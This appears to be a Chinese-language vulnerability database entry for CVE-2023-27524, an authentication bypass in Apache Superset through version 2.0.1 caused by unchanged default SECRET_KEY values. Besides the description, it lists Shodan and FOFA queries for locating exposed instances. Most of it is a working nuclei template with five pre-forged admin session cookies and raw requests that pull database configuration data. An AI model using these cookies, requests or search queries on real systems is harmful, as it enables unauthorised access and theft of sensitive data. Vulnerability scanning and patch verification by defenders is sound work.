Apache Superset Authentication Bypass

漏洞信息

漏洞名称： Apache Superset Authentication Bypass

漏洞编号：

• CVE： CVE-2023-27524

漏洞类型： 未授权访问

漏洞等级： 严重

漏洞描述： Apache Superset是一个开源的数据可视化和数据探索平台，广泛用于企业级数据分析和业务智能报告。它支持多种数据源，提供丰富的可视化选项，是企业中常见的数据分析工具。该平台的默认配置中存在一个严重的未授权访问漏洞，影响版本至2.0.1。漏洞的根源在于默认配置中的SECRET_KEY未更改，攻击者可以利用这一点绕过认证机制，访问未授权的资源。具体来说，攻击者可以通过构造特定的会话cookie，无需有效凭证即可获得系统访问权限。这一漏洞对于未按照安装指南更改SECRET_KEY默认值的Apache Superset实例影响尤为严重，可能导致敏感数据泄露或其他安全风险。成功利用此漏洞的攻击者可以完全绕过认证，访问受限资源，甚至可能执行远程代码。值得注意的是，已经更改了SECRET_KEY默认值的Superset管理员不受此漏洞影响。

产品厂商： apache

产品名称： superset

影响版本： * <= 2.0.1

搜索语法： html:”Apache Superset”, http.favicon.hash:1582430156, http.html:”apache superset”, body=”apache superset”, icon_hash=1582430156

来源： https://github.com/projectdiscovery/nuclei-templates/blob/b7c60754265d41e02af8d5ea7c8a40acba9a6233/http%2Fcves%2F2023%2FCVE-2023-27524.yaml

类型： projectdiscovery/nuclei-templates:github issues

POC详情

id: CVE-2023-27524

info:
  name: Apache Superset - Authentication Bypass
  author: DhiyaneshDK,_0xf4n9x_
  severity: critical
  description: Session Validation attacks in Apache Superset versions up to and including 2.0.1. Installations that have not altered the default configured SECRET_KEY according to installation instructions allow for an attacker to authenticate and access unauthorized resources. This does not affect Superset administrators who have changed the default value for SECRET_KEY config.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to bypass authentication and gain unauthorized access to sensitive information.
  remediation: |
    Apply the latest security patches or upgrade to a patched version of Apache Superset.
  reference:
    - https://github.com/horizon3ai/CVE-2023-27524
    - https://www.horizon3.ai/cve-2023-27524-insecure-default-configuration-in-apache-superset-leads-to-remote-code-execution/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-27524
    - http://packetstormsecurity.com/files/172522/Apache-Superset-2.0.0-Authentication-Bypass.html
    - http://www.openwall.com/lists/oss-security/2023/04/24/2
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-27524
    cwe-id: CWE-1188
    epss-score: 0.82895
    epss-percentile: 0.99195
    cpe: cpe:2.3:a:apache:superset:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 45
    vendor: apache
    product: superset
    shodan-query:
      - html:"Apache Superset"
      - http.favicon.hash:1582430156
      - http.html:"apache superset"
    fofa-query:
      - body="apache superset"
      - icon_hash=1582430156
  tags: packetstorm,cve,cve2023,apache,superset,auth-bypass,kev

http:
  - raw:
      - |
        GET /api/v1/database/{{path}} HTTP/1.1
        Host: {{Hostname}}
        Cookie: session={{session}}

    payloads:
      path:
        - '1'
        - '2'
        - '3'
        - '4'
        - '5'
        - '6'
        - '7'
        - '9'
        - '10'

      session:
        - 'eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZKFnng.XPeCvkBiP7rOv1PhgKZ8xkzi2jk'
        - 'eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZKFu3g.k_WNoBY1ouhQyOXa5UcYdjVVuq0'
        - 'eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZKG_fg.KalpJbMq1SZPCBuunG9-ycDX9HM'
        - 'eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZKG_zQ.FPiBfT39gn2slf--XZHsk0rByEY'
        - 'eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZKHAPQ.zRjwotMHJES3eW8fJH8F_5GlD-U'
    attack: clusterbomb
    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"database_name":'
          - '"configuration_method":'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022072948a7ef5476691dab66346cb28f4b1110915ea6ddc89c7fc5d2db2ab5d4224022100a4b3a533b32784c19d7d6e957368fa82b476916982ebdd9b2d606cad7203f8d2:922c64590222798bb761d5b6d8e72950